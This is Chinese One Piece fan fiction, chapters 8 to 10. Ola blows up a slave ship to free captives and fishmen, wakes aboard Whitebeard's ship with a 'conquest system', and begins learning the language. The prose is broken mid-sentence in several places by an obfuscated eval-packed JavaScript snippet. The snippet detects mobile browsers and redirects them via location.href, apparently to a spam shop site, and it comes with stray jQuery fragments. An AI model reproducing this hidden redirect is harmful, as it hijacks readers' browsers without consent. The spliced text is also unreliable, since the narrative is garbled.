她拿的食物实在不多,根本不够这么多人分的,多的部分都给了鱼人,剩下的一点西红柿,她看着塞给了面色恹恹的孩子。 没听到系统有任何信任值的提醒,她也不气馁。 从工具箱里掏出工具,给每个人都扔了把。有的人不明所以的拿在手里,有的人头也不抬。 她深吸一口气,手里拿着前日装在身上的螺丝刀。 先是前后拉手做了一个滑动的姿势,接着嘴里发出气音“砰......”,螺丝刀向下狠狠一戳,最后跑去了鱼人身边又敲了几下铁笼。 意思是:想办法磨开绳子,听到声音后,反抗最后逃走去帮助鱼人。 奥拉知道这很难懂,她不渴求所有人都看懂了,只希望其中有几个人能懂就好。 当然她也知道,鱼人不一定会帮助人类,所以她先把食物给了鱼人。看看鱼人的反应,如果鱼人接受了食物,那么就有合作的可能。 她承认自己这个计划简直是场豪赌,没有万无一失,简直全是漏洞。 但有总比没有强,万一呢? 后面的时间,奥拉开始了她的布局。她将油烛灯上的油脂全部挖出来一点点塞到每一个锁孔里,还将布条撕成大概指甲大一块尽可能塞进去堵住锁孔。要确保锁是打不开的,这样才有可能让海贼们为了带走奴隶砍坏铁笼。她没有在仓库里发现数量那么多的铁链,全用在人类身上是不可能的。她就是在逼海贼们换用绳子囚住人类,这样才能给人类们创造机会。 等场面混乱起来,大量的守卫将会被她吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而这次小姐姐没有说话,也是若有所思的,贝沙看懂了她眼里的迷茫,和傻傻的大人一样。 还是那个长得凶凶的红色鱼人肯定了贝沙:“她说不定有办法,如果真能出去——” “塔克!”他的鱼人同伴低低的喊了他的名字,他却充耳未闻。 “喂,肯定是要发生什么了,人类们,手里都有武器了,为什么不跑?” 他的话清楚的进入了每一个人的耳朵,他的鱼人同伴不满的瞪视着他,仿佛他跟人类说话是犯了什么天大的错误一样。 “我都好久没吃到新鲜的了....”当然他心里认为海贼丢过来的活鱼并不算什么新鲜的食物,塔克毫不避讳的说道:“如果她有办法,我一定要走,我不想做人类的奴隶。” “你们不是都看到了吗,她那天出去了,但是她又回来了,她肯定在做些什么!” “反正都要被卖了,还有什么骗我们的必要吗?” 要问塔克有没有看懂奥拉的计划,那肯定是没有的。红鳍的鱼人早已被生菜球勾走了神儿,就算那是他平时最讨厌的食物。但有一点他非常的确定,他们鱼人,不想当奴隶! 他的说法没有得到同伴的支持,但是默认怎么能不算是一种认同呢。 听见塔克声音的人类里,犹豫的、恐慌的、兴奋的,各有想法,但唯有一点是一致的。他们人类,不想当奴隶啊! 计划就这么在奥拉没想到方式下成功推进了下去。 当爆炸声响起时,紧绷着的奴隶们的脑子里都出现了奥拉发出气声的那一幕。 有聪明的人明白这是信号。 他们用工具磨断了绳索,其中拿着改锥、钳子的是最快的。当时场面过于混乱,这些东西被藏在衣服里,得益于海贼们没有搜身,只是捆住手脚,所以没有被发现。第一个解开绳子的人拿起了别人的锤子。 咚! 反抗的钟声被敲响了。 8. 逃走(下) 加卡罗的步子落得极快,她所到之处,都会被海贼们默契的留出条道路来。 即便现在因为不明敌袭,船里已经乱成了锅粥。 毫无目的的奔跑的,拿着武器大喊大叫的,暗藏着兴奋或是胆怯的。加卡罗无比的厌烦,这些又蠢又排不上丝毫用场的废物们。 连她的加卡的一根毛都比不上,倒不如都变成加卡,成为她最忠实的拥趸。 若放在平常,看她心情还能露出几分笑颜敷衍这帮蠢东西,可是现在...... 加卡罗想到从海底捞上来的,装在箱子里早已死去的前加卡,白皙的脸上雷云密布。 当然不是凯斯那个蠢货杀的,他根本没那个胆子。都不用加卡罗再问些什么,他哆嗦着就把所有事情都吐露了出来。她这才知道在她的眼皮底下,居然逃走了一个奴隶。 还杀了她的加卡,哈—— 不过是只垂死挣扎的老鼠,到底是怎么敢的? 炮声间隔不久就会响起,像是对鬣狗们女王的挑衅。加卡罗看上去闲庭信步,却遥遥走在所有人的前面。她想她不会杀了对方,但一定会让这只胆大包天的蝼蚁后悔自己的所作所为。 应该差不多可以上甲板了吧? 奥拉在心中暗自思忖,为了方便取用炸弹,她用细麻绳固定住这些圆球,又将绑好的细麻绳从肩膀、腋下穿过交叉,捆在身上。腰间缠着圈圈绳子,身后还拖着根用帆布系在一起的长线不知道通向哪里。 多日的劳累不是一顿饭就能补回来的,更何况她脚上还带着镣铐,行动起来不方便不说还十分沉重。奥拉感觉到她的体力正在逐渐下降,她耸起单肩蹭去面颊流下的汗水,轻咬下唇,更换了路线。 她从炮舱出来后便一直在此层活动,现在所有人都在往下走,那么她就要上去了。 即便身体越发的沉重,奥拉依然保持着高强的动力与心底里隐隐的信心。 这全都源于,她的系统提示: 【叮——???信任值+1。】 【叮——???信任值+1。】 ... 【检测到宿主已完成任务:为绝望填充愤怒的炮火,勇气是人类的赞歌,达成友方结盟,能量点+1】 【检测到宿主已完成任务:为绝望填充愤怒的炮火,勇气是人类的赞歌,能量点+1】 在信任值连续加了几次后,就触发了新的系统提示。这让奥拉十分惊喜,这也表明她早先的猜测是正确的,系统暗自划分了阵营。在她分别对两方阵营做出某些行为时,就会获得惩罚或者奖励。 这么看是那些被绑架的人质们开始行动了,所以加了信任值。奥拉也庆幸自己没有选择自己离开,到时候说不定还会扣除信任值,导致系统触发什么她承受不起的惩罚。 而第二条增加能量点因该是因为她现在在炸船吧,看来只要是做出有损鬣狗海贼团利益的事情,不论是针对人还是物都是有用的。 奥拉没有选择第一时间将能量点使用给翻译能力,她想在等等看,如果后面受伤了,能量点越多越好。 也由此她干劲十足,要是她把身上的炸弹全炸了,会不会再继续加能量点? 就像信任值是加了好几次之后才触发友方联盟加的能量点。 奥拉的目标并不是躲着人走,而是要尽可能给甲板上的人争取时间,然后她在进行最后一步。 腰间的长绳一圈圈变细,奥拉的位置也到达了船舱的最上层。留下的绳索越长,她被发现的可能性就越大。 尤其到了上层,她已经避无可避。 映正她的预感一样,角落里突然蹿出了个影子,冲着奥拉撕咬而来。 奥拉定睛一看,哪怕心有准备还是怔住片刻:居然又是鬣狗! 她慌忙侧身,并不打算与鬣狗缠斗,她只要拖住时间就可以了。她双膝微蹲,双眸一瞬不瞬的锁住鬣狗。 鬣狗动了。 它的速度好快,比之前那只要快得多。奥拉在地上翻滚躲过它拍来的手掌,不断调整位置,呼吸开始急促起来,大腿酸软发出抗议。 奥拉没空管自己身体里的不适,听着耳边海贼们由远及近的声响,她很快意识到这样下去不行。 无法推测甲板上到了哪一步,不知道鱼人被放出来了没有,她不能把鬣狗引到甲板上去,那么就在这里解决它! 能量点能反过来使用治疗她的身体给了她底气,让她暂时不用担心会因为受伤流血而亡。 她开始主动反击,在鬣狗再一次扑空的瞬间找准时机猛地翻身骑到鬣狗的身上,抓住腰间的绳子双臂爆发勒住鬣狗地脖子。 被扼住喉咙地鬣狗反应过来拼命地挣扎,奥拉本就无多的体力全用在了拉紧绳子上面。 她咬紧牙关,身体夸张的向后仰去,高仰着头颅,试图一举将这只野兽彻底勒死。 手掌心是火辣辣的疼痛。 奥拉没有等到勒死鬣狗,那条绳子居然在这样的拉扯下,断了。 她因惯性被甩飞出去,后脑磕在地板上,久久缓不过来。 说到底她只是个普通人。 鬣狗好似不用休息的机器,半点没有被勒住后的不适,甩甩脑袋呲牙又扑了过来。 奥拉头昏间,只模糊看见个影子向她奔来。她抬起双腿,利用脚间的枷锁勉强抵住了鬣狗的攻击。 可下一刻,清脆的响声宣布奥拉的失败,那副坚硬的枷锁竟就这样被咬碎了。 奥拉这时才意识到,这只鬣狗和她之前遇到的完全不是一个水平的。 她可能要死了。 系统的能量点能救她不死吗? 或许能,但不够。 奥拉开始后悔自己的傲慢,凭什么觉得自己能够牵制住对方、凭什么认为自己能够杀死对方。 在面临死亡的该认命的时候,她又鬼使神差的升起了股对自己无能的愤怒。 不甘心,她一直都不甘心! 她要死了,但是其他人还有机会。不,就算要死也要拉着你一起。 奥拉掏出火机,只要点燃火焰,一切就都结束了。 “砰——!!” 火苗在空气中颤巍巍的摇动。 奥拉蓦地睁大了眼睛。 鬣狗飞了出去。 比敌人先到的是援军。 红鳍的鱼人一把拉起奥拉,将她抱在怀里。接着没有多言,撒开腿就往甲板上跑。 鱼人居然来救我了!那...计划成功了! 活下来的意外,和满是漏洞的计划的成功让她不知所措。 心跳这才后知后觉的激烈碰撞。 鱼人的身形是极为引人注意的,再加上与鬣狗缠斗时发出的声音,足以吸引海贼们的注意。 奥拉撑起身体,引得红鳍鱼人塔克低头瞧了她一眼,塔克鼻子耸动,好像闻到了什么古怪的味道。 只见这个人类女孩熟练的将炮弹从自己身上拆下来,点燃引线,抛向后面。 炸弹的威力搅拌着海贼的惨叫。这还没完,她解下腰间的绳索,用火凑近,火舌这就沿着线路烧了起来。 塔克没忍住问出了声:“这是干什么的?” 在扔炸弹过后系统再次提示增加能量点时,奥拉毫不犹豫的选择了点亮翻译功能。因此这时又能知道其他人在说些什么了。 她看着快速烧起的火线,做了一个‘嘭’的口型。 计划继续,让这里更乱一些吧。 甲板上,捆人的绳子转移到了两个看守的海贼们身上,她们太怕海贼会挣脱,直接将全部的绳子都用上了,将两个人硬生生捆成了蚕蛹。 被绑的人质们缩在一起,起初最胆大袭击海贼的那人站在最前方。 塔克和奥拉到达甲板时,还差点被她的刀给砍了。她实在是太紧张了,见到奥拉后脸上才生硬的挤出抹笑来。只是那笑容怎么看怎么僵硬。 “现在怎么办?” 女人出声询问,声线有点抖。 奥拉这才发现甲板上只有两个鱼人,还有一个不见了。 似乎发觉了奥拉的疑问,女人赶紧接话道:“有个鱼人跳到海里去了,他已经跑了!” 奥拉没有太惊讶,这也是能够料想到的事情。当时在船舱只有红鳍鱼人对她有正向回应,倒不如说,除了红鳍鱼人还有鱼人会留下让她有些意外。 不由得多看了眼站在人群最外侧,对上她的视线立刻扭头装作不在意的青麟鱼人。 没有时间过多交谈,奥拉手指向前方。 那里只有蔚蓝的大海。 一个细小的声音适时的钻了进来,引得奥拉侧目,那是一个小女孩,她说:“要、要去大海里吗?” 奥拉点了点头。 还没等人进一步询问,人群里顿时出现了哗声,青麟鱼人手臂一挥,竟然抱起了六七个人,充分的发挥了他的四只手臂。 青麟鱼人最后看了奥拉一眼,扭头跃进了海里。 “快点,我们也走!” 红鳍鱼人粗声道。 “砰!” 这次不是炸弹的声音了,声音落下的瞬间红鳍鱼人的肩膀上多了个血洞,人群里发出了尖叫。 奥拉浑身冷汗直冒,红鳍鱼人还想带着她跑,可又是两声枪响落下,红鳍鱼人再也支撑不住的半跪在了地上。 他喘着粗气,将奥拉往前一扔,眼睛里迸发出凶光,大喊着:“快走!” 奥拉环视一圈,甲板上至少还有十个人,其中还有孩子,诚然她跳下去便能活,可是—— 她的双腿和双手不受控制了般定在原地,眨眼间她已经做好了选择。 她身上只剩下一个炸弹了,可以试一试拖住敌人。 拖着沉重的步伐,她大喊出声: “到海里去!” 太久未曾开口说话,她的嗓子拉扯的极疼。 “到海里去!!” 仿佛忘了没人能听懂她说话,她大力的嘶吼着,用力的奔跑着,试图阻挡攥住命运的大手。 “到海里去!!!” 她的身体跑向了危险,S型路线跑动妄图躲开枪击,但当一个准头够好的枪手想要射中人的时候,人是无论如何也躲不过的。 下一枪打在了奥拉的手臂上,又是曾经被鬣狗咬伤的那一边。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16988685|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >冲击力仅仅拦住她的脚步几秒,血液翻涌上流,哪怕面对飘烟的枪口,她也不愿意再次退缩。 一旦退了就站不回来了。 她直视着眼前漂亮的女人,和大批涌上来的海贼,鬣狗呲牙护在女人的身侧,显然这个人是鬣狗的主人。 奥拉看着他们虎视眈眈的样子,忽然咧开嘴笑了。 加卡罗从未被人这样挑衅过,或许有但都已经死了,加卡罗从不记死人的名字。哪怕强如世界第一的男人不是也追不上她的影子。 加卡罗微微挑眉,优雅的收起枪,她走路的姿势自信而骄傲,根本不怕眼前这个试图反抗,将她船上搞得乌烟瘴气的小老鼠会威胁到自己。 她对着奥拉展示着前所未有的温柔,直至走到奥拉的面前才停下:“你叫什么名字?” 这时的奥拉已经不再害怕了,她忽然想起来自己看过的抗日神剧里面审犯人的场景,竟诡异的和现在这种氛围如此相似。 她笑容扩大了几分,深吸口气报复性的大喊了声: “我恁娘!” 加卡罗:? 果然还是不想死,她就是贪生怕死又如何。她没有那么大义凛然,也救不了所有人,她能做的都做了。现在,她只想为自己赌一条生路。 赌狗只有千千万万次。 她扑上去死死抱住加卡罗,以她为盾牌,慢慢的往船檐拖。 加卡罗并没有被触怒,她没听懂对方在说什么,只是略有诧异哑巴居然会说话,她马上意识到这是能卖上价钱的货。 她轻而易举就能挣脱奥拉的束缚,还能不废任何力气的扭断奥拉的手臂。但她没有,她饶有兴趣的看着自己的猎物做最后的挣扎,鬣狗的船长对自己有绝对的信心。 一个没有恶魔果实、不会霸气的普通人,又能做什么。在加卡罗眼里这些人都是低人一等的人,活该成为奴隶,变成贝里是她们人生最高的价值。 奥拉没有再去看甲板上还有没有人,眼看着离大海只差一个起跃的距离,她没有放松。 “嘿,亲爱的,你不会想当着我的面跳下去吧~” 加卡罗声音轻飘飘的出现,引得一众海贼哈哈大笑。 加卡罗圆润的指甲疯狂的生长,短短几秒就长了至少5cm,弯弯的指甲如刀片又尖又利。随着加卡罗手指随意的向下一敲,皮开肉绽。 “我们现在可是无法分离了呢~” 甜腻的嗓音无法减轻奥拉的疼痛,她已经无瑕去管加卡罗在说什么了。 被加卡罗贯穿的又是这只手臂——系统修了等于没修,残废难道是她这只手的既定命运吗? 这么多天她第一次开口报了句粗口“靠。” 奥拉从未觉得自己这么能忍耐,她拉着自己被穿透的手往里拽。加卡罗注意到了,心情颇好的往外撕扯。 在这样下去,她的手臂会就这样被撕烂。 奥拉深吸口气,她凑近加卡罗的耳边开口:“如果能成功,送你份礼物。” “从刚刚开始就是,你到底在说些什么?” 加卡罗看上去不准备继续玩下去了,她手上力道不减,奥拉便也不再和她对抗。 奥拉空着的手指翻飞,火焰翻腾。 “哈..炸弹可炸不...”加卡罗瞳孔收缩,一时声音卡在了嗓子里。 因为奥拉将火烧在了自己身上! 在这样下去加卡罗也会被火烧伤。 “疯子。”加卡罗蹙眉,正准备收回自己的手,放任奥拉自己灭亡。 船舱里却突然的发出了声剧烈的“轰——!”紧接着船体开始剧烈的摇动,海贼们有的没站稳,被这变故惊到纷纷滑倒。 趁着加卡罗注意力被拉走时,奥拉绷住身体,用尽全身的力量向后跃去。手臂上撕扯的力量不可避免,可好在她成功了。她没想到只是她用来拖延时间的延时炸弹,那么明显的引线,居然没有任何一个人想着熄灭或者查看。 她不由得同情起加卡罗来:活该了吧,我的意外之喜来了。 以为不会炸的爆炸来了,不用牺牲她的手臂了。 “你做了什么?” 加卡罗怒吼道,她收回指甲,轻而易举的就挣脱了奥拉的桎梏。她在空中灵巧的翻身,与奥拉面对面,满眼都是惊诧与怒气。 而奥拉这时已经无法回答她了,火焰快速蔓延上了奥拉的全身。奥拉如同享受着熊熊烈火的燃烧,她的眼睛里是什么呢,平静、疯狂。没有人能够阻拦她的脚步。 加卡罗这才想起她闻到的异味,她开始还以为是奴隶身上特有的恶臭.....现在反应过来居然是油。 震惊之余,加卡罗忘记了,奥拉的身上还有颗炮弹。 第二次的爆炸来的又快又猛,在及近的距离下,没有任何防备,就算是加卡罗也无法抵抗。 奥拉并不是想自己杀自己,因为她有系统,所以她才敢赌。只是这个计划是万不得已的最后一手,能不能活下去她也不知道。 如果可以的话,她的人生算不算浴火重生了呢? 在失去意识的最后一刻,她看到了......绚烂的青鸟滑过蔚蓝的天空。 9. 争霸系统1773 奥拉清醒时,是十分迷茫的。 她感受着身下的床铺,算不上柔软但干净温暖,垂眼轻易便能看到自己被包扎好的伤口。周围无人看守,似乎没有危险。这显然不是一个在船上‘胡作非为’的奴隶可以受到的待遇。 ......所以她不仅活了下来,还离开了奴隶船吗? 可她并不觉喜悦,接踵而至的是更多的疑问——这里是哪,为什么她在这里,其他人去了哪,是系统救的她还是? 安好无伤的手不受控制的颤抖,最后被她的理智强硬的压下去,攥拳,沉沉落在洁白的床单上。 奥拉唤出了系统,她才发现在她昏迷的这段时间,系统发生了天翻地覆的变化。 “嗨,宿主奥拉,恭喜存活,我是争霸系统1773。” 系统的声音不再是单纯的电子音,而是更偏向女性的声音,仔细听好像有点像奥拉自己的声音。 奥拉被异常的声音吓到,一时没有接话,倒是系统滔滔不绝。 “您终于醒了,快点开始我们的争霸之旅吧!接下来请让我为您介绍系统激活后的功能~” “等、等等,激活?”听到这里,奥拉脱口而出打断了系统,震惊溢于言表。 “是的呢~您可以在心中和我对话哦。由于您在为绝望填充愤怒的炮火,勇气是人类的赞歌任务中成功存活,经过系统综合判定您已获得系统权限。争霸系统1773征服伟大航路必选凶器,您值得拥有哦!” 干啥? 征服伟大航路。 谁? 我吗? 我干什么? 征服伟大航路? 奥拉嘴巴微张半天没说出话来,只是不可置信的指向了自己。 “是的呢~我们的目标是向着伟大航路进发,把所有胆敢阻拦我们的敌人全部踩到脚下,获得传说中的大秘宝,成为这个世界的主人!”系统没有作为人的眼色,似人的声线尾音里都带着愉快的味道。一段抑扬顿挫、激情洋溢的宣言过后,奥拉的眼前飘出一行小字——最终目标:获取One Piece。 奥拉的沉默是今晚的康桥。 先不说获得大秘宝和成为这个世界的主人之间根本没有任何联系,她一个普通人凭什么越过这个世界的主角路飞、海上最大的势力四皇、和虎视眈眈的世界政府去夺得One Piece? 奥拉组织着措辞开口道:“我先问一下,达不成目标会有什么惩罚吗?” “您将永生永世不断夺取大秘宝,直到成功为止哦~” “那是我不会死的意思吗?” “不,是永·生·永·世,并非不老不死哦~” 奥拉不明白这其中有什么差别,系统也并未继续在这个问题上面解答,而是开始介绍起了激活后的系统界面。 【检测到您成功完成任务:为绝望填充愤怒的炮火,勇气是人类的赞歌。已达成存活条件,且我方阵营存活15人,敌方阵营全灭。达成S级判定,奖励10能量点。】 【检测到宿主生命值流失,已启用应急程序。】 【...】 【警告!应急系统激活后不可使用!应急程序已暂停。】 【争霸系统1773(已绑定) 能量点:2 能力:翻(已激活)/封锁中(1能量点解锁) 争霸日志:【1.为绝望填充愤怒的炮火,勇气是人类的赞歌。通过等级?】 系统上传达的信息非常多,奥拉看得眼花缭乱。她现在能确定自己已经成功逃脱奴隶船了,但是敌方阵营全灭是怎么做到的? 这么想着奥拉也就问出了口。 系统这时的语气倒是冷静的多了“请宿主自己探索。” 说了等于没说...奥拉不过多纠结,想着大不了一会她摸出去看看。就将关注点放到了下面,原本并未署名的系统已经冠上了争霸的头衔,能量点后面的抽取提醒没有了,倒计时也消失了。联想到关于应急程序启动的提示,奥拉大概有了猜想。 “系统以后不会有应急程序了吗?为什么?因为我通过了第一次任务?所以你的所谓第一次任务是一场试炼吗?我想是的。那么如果试炼失败了,我会怎么样.....你说无法永生永世,那我肯也无法回到自己的世界了,我会直接死掉吧。” 奥拉自问自答,口吻清晰,没有质问,也没有任何莫名其妙被卷入这个危险世界的愤怒。她能猜想到车祸后她很有可能已经死了或者直接成了植物人,系统的行为虽然和绑架没什么区别,但给了她第二次生命。奥拉只是不明白,为什么选择她,怎么看她一个手无缚鸡之力的普通人都不像是能在海贼王世界里混的风生水起的样子。 这次系统没有直接回答,奥拉等了会儿才得到答复:“您将永生永世不断夺取大秘宝,直到成功为止。” 系统没有否定或肯定奥拉的猜想,只是冷淡的重复了这句模棱两可的话。 奥拉眉头微蹙,她并不理解系统这句话的意思。但不论她怎么追问,系统都不在回复。 没有办法,奥拉只得将注意力继续放回到系统界面上。系统原本奖励的10能量点只剩了2个,很有可能是应急系统启用后被叫停导致的。她不知道自己现在身上的伤是什么状态,暂时也没有去探索自身的勇气,便沉下心去往后看。 能力一栏翻译功能被点亮,24小时的限制貌似消失了,这是个好消息。它的后面出现了个灰色的被锁链封锁的格子,看上去是系统激活后可以新开发的能力。奥拉迫不及待的使用了能量解锁,现在她不必担心没了能量会死了,自然不会精心计算着能量点怎么使用更好。 1能量点刚消失,封锁的铁链就移动了起来,有序的消失在了方格的四角,紧接着一个葫芦状的东西就出现在了界面上。 在好奇心的驱使下,奥拉手指点上了葫芦图案。 【是否使用宝葫芦,使用后不可撤回】 【10能量点每次,扣除能量点中......您的能量点不足,无法使用。】 奥拉傻眼了,她仅剩的一个能量点就这么消失在了眼前,且这个宝葫芦还没有使用成功!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白胡子海贼团一番队队长,不死鸟马尔科!奥拉犹记得自己看海贼王的时候,为顶上战争流了不少眼泪,她很喜欢白团之间真挚的情感,自然对于白团里出场不少的马尔科印象深刻,没少嬷嬷。 但那仅限于对纸片人的喜欢。 当曾经喜欢的纸片人站在面前,成为一个活生生会呼吸的人时,奥拉分不清自己究竟是开心还是惊恐。如果她还是地球上那个随时能上网冲浪的奥拉,那么什么虎狼之言她都能侃侃而谈,并且对于白胡子海贼团是百分百的信任。可如果她本人来到这个海贼横行的时代,那她无法说服自己忘掉恐惧去信任海贼的作风。 “挺精神的嘛yoi” 似乎没有注意到奥拉的警惕,马尔科单手插兜,姿态随意。面上没什么表情,眼睛懒洋洋的半阖着,只在听见奥拉那未尽的音节时,眉梢微不可察的动了一下。 “认识我?” 奥拉嘴唇嚅动,她不知道要说什么。她想起自己在奴隶船上上的遭遇,犹豫半响后,扯着嘴角勾出抹勉强的笑来。 嗯,有点傻。 马尔科的视线在那张没什么血色的脸上稍稍顿住,很开移走,转到她的身上,彷佛在估量着什么。 奥拉不敢乱动,眼神也不敢乱瞟,一个劲的盯在马尔科胸前大片的刺青上,看似不镇静实际上人也已经快要宕机了。 马尔科看上去并不在意奥拉是否回答他的问题,他抬手揉了揉头发,随意搭腔道: “躺着别乱动,伤口还没长好。” “还有,有人要见你yoi。” 10. 白胡子海贼团日常 “shi—ro—hi—ge—” “kai—zo—ku—dann—” 阳光明媚的午后,海鸟飞过天空时丢下了今日份的报纸。海贼们三俩成团聚在一起,有人取走报纸低头研读、有人坐在船檐专心垂钓......偌大的船只上竟无喧闹,唯有稚嫩幼童清澈的嗓音在刻意的衬托下显得格外清楚。 孩童的声音停下不久,另一道磕磕巴巴的声音接着跟上,当她成功的复述下来,‘dann—’的尾音消失在湿润的空气里时。 海贼们忽然爆发出热烈的欢呼声——有人双手攥拳夸张的挥出胜利的姿势。读报的差点把报纸撕坏还是被人警告了才讪讪收好,收的时候才发现读了半天都是倒着的。 钓鱼的那位在此时感觉到手上的变化,彷佛有股巨力在海底挣扎,他气沉丹田,双手用力。“唰——”一条数米长的海王类被甩了出来,长着大嘴就要吞掉这胆敢公然钓它的男人,下一秒,脆弱的鱼竿在男人手里变成了柔软但富有韧性的鞭子。 海王类:不知道啊,他喊着什么“白胡子海贼团”就冲上来了。 庞然大物身上瞬间鼓起了好几个新鲜的大包,它不偏不倚的砸落在甲板上,压得船身一倾,与此同时,钓鱼的男人从空中潇洒落下,脸上挂着无比自豪的笑容,半跪着踩到了海王类的身上,朗声道: “见识到白胡子海贼团的厉害了吧!” “嗷——!白胡子!” 他的行动非但没有被同伴们训斥,还迅速的得到了声援。海贼们高举双手,称赞着让他们共感骄傲的词汇。 稚嫩的声音压在这些兴奋起来的喊叫上,怕声音无法传达还故意更大声了几分:“奥拉姐姐!不要走神!这就是白胡子海贼团,怎么样会了吗?” 奥拉看着因为船只倾斜险些滑走,被高大的鱼人牢牢护在手里的小女孩贝沙,嘴角微抽。 无论来了几天她还是无法适应这种脱离了现实生活的东西,巨大的海王类还是太吸人眼目了!直到感受到两个谴责的视线,奥拉才回过神来,坐在同样被鱼人抓住的轮椅上麻木点头。 她不由得开始思考这混乱的场景究竟是从什么时候开始的。 前几天当马尔科告诉她有人要见她的时候,她一直以为是这艘船的船长白胡子,为此还十分的紧张。 所以在奥拉看见从马尔科身后探出来的小脑袋后怔愣了好一会。 小女孩叫贝沙,是同样从奴隶船逃出来的幸存者。绞着手躲在马尔科的身后,还是马尔科让开身子她才犹犹豫豫的跑到床边,话还没说几句眼泪就先流了下来,话里话外都是担心奥拉直接死掉,又抽抽噎噎的当着马尔科的面向奥拉“告状”,抱怨他不让人来探望。 马尔科本人对此毫无反应,抱臂靠在墙上,莫名的,奥拉从他的死鱼眼里看到了深深的疲惫。 啊,看来也是被小女孩缠了好几天了。 陌生人给予的关心让奥拉缓解了些许单独面对马尔科时的局促,可看着贝沙灌满担忧的眼睛时她还是略不适应的抿起嘴。 就在她不知所措间,贝沙调整的很快,小女孩猛吸鼻子,在奥拉的茫然中大喊了声:“塔克哥哥!” “哐!”门被人从外推开弹到墙上,一个高大的红鳍鱼人从门口快步走了进来。 就这样,奥拉的白胡子海贼团生活就这么在两个小伙伴的扶持下‘愉快’的开始了。 据马尔科所说她的伤势恢复的速度太慢——奥拉很想吐槽,怎么能拿她这个正常人和一群‘怪物’的身体素质来比。因为伤久久不好,她就不能随意的离开医务室。 几天下来,都是贝沙和塔克来陪着奥拉。 奥拉也是从她们的口中知道了些许那日的后续:爆炸过后,是白胡子海贼团赶到救下了她。而鬣狗海贼团除了掉入海里的加卡罗生死不明以外,其他人被白胡子海贼团全部歼灭。 得知这一切后奥拉时常会盯着自己被绷带缠住的手掌出神。她拼命想要逃脱的地方被人轻而易举的消灭,那是因为他们海上最强的一伙人,因为他们拥有力量。 力量…… 一个念头在她脑中悄然滋生:像她这种不属于这个世界的人是否也有一天能获得这样的力量呢? 念头刚起就被她自己否认,彷佛向往强大是什么羞耻的事情。可思想不好控制,她总不可抑制的想的更深更远—— 离开这里以后,没有白胡子海贼团的庇护了以后,她要怎么活下去呢?她又想怎么活下去呢? 一时得不到定论。 她将烦恼藏起来独自消化,连常常陪伴她的贝沙和塔克都没有发现。 也或许发现了。 因为某日,贝沙怀中抱着个东西兴高采烈的来找奥拉。 知道奥拉不是哑巴,只是不会说后,贝沙决定在下船前教会奥拉说话,并且拉着塔克一头砸进了教育奥拉的课程中。 小女孩贝沙从怀中郑重掏出来的是本儿童书,书页有些卷边,散发着股大海的潮味。但依然能看出来这本书被它的主人保护的很好,封面安好并没有掉页或者破碎。 翻开后的扉页目录旁,标着一个歪歪扭扭的‘M’。再往后翻每一页都有个和拳头等大的新字,有点像奥拉曾经见过的某国五十音。 每个要学会的字下面,都用黑笔写着不少单词。看上去是这本书的主人在学习时记下的。 化身小老师的贝沙和她的鱼人助手塔克围绕奥拉的学习进行了严格的计划,就连奥拉的身体健康程度都考虑了进去。 结果就是,奥拉每天醒来后,不仅要接受护士们的检查还要接受来自小伙伴们的日常关心。吃完早饭便要被塔克挪到轮椅上去甲板上晒太阳,并且一天至少要学会三个字和一个单词以后才算结束今日的上课时间。 大中小的组合在白胡子海贼团上算不得亮眼,但当贝沙掏出那本书开始高声朗读,并且要求奥拉和塔克一起复述后,不知为何引来了越来越多的海贼们围观。 逐渐的,在莫比迪克甲板上某个角落处,出现了道会另敌人们意想不到的奇妙风景。 今日奥拉正好学到了白胡子海贼团的单词,该说不愧是从海贼船上得到的儿童书吗,连孩童 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16988687|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学的单词都如此硬核...... 甲板上因为海王类产生的小小插曲并没有打断小老师贝沙的积极性,反而更是从海贼们的反应中获得了鼓舞,她又大声念了遍会让海贼们心生自豪的代名词,眼神示意。 塔克握着那只还没有他手指粗的笔,在纸上一笔一划的写出词语让奥拉看着誊抄。 奥拉握笔艰难,但也跟的认真。她虽然时常觉得无法适应现在的生活,但是贝沙和塔克的帮助无疑是现在她最需要的,至少能和别人简单的交流以后,她下船生存也能更方便些。 她轻轻咬词出声,边写边记。想要记住怎么读很容易,只是写的时候总是无法将词语和说的联系到一起。就在奥拉反复抄写单词,尝试死记硬背时。一阵脚步由远及近。 众人循声望去,只见马尔科手中拿着菠萝,趿拉着鞋慢悠悠的晃了过来。金色的头发在阳光的照耀下有些蓬乱,眼睛半阖着,一副百无聊赖的样子。红框眼镜别在他的外衫口袋处,看样子是刚忙碌完到甲板上来吹风的。 他没有打扰角落里的小课堂,只是斜靠在船舷上,像是单纯的找个地方吃他的菠萝。 贝沙却双眼放光,她像发现了什么有用地教具一样,手指兴奋地指向了马尔科。 “奥拉姐姐,是马尔科队长!”说着她将书册翻了几页,蹬着小短腿跑到奥拉的身边,上面正标着“一番队、二番队....”的词语。 贝沙洪亮的念了句“一番队!” 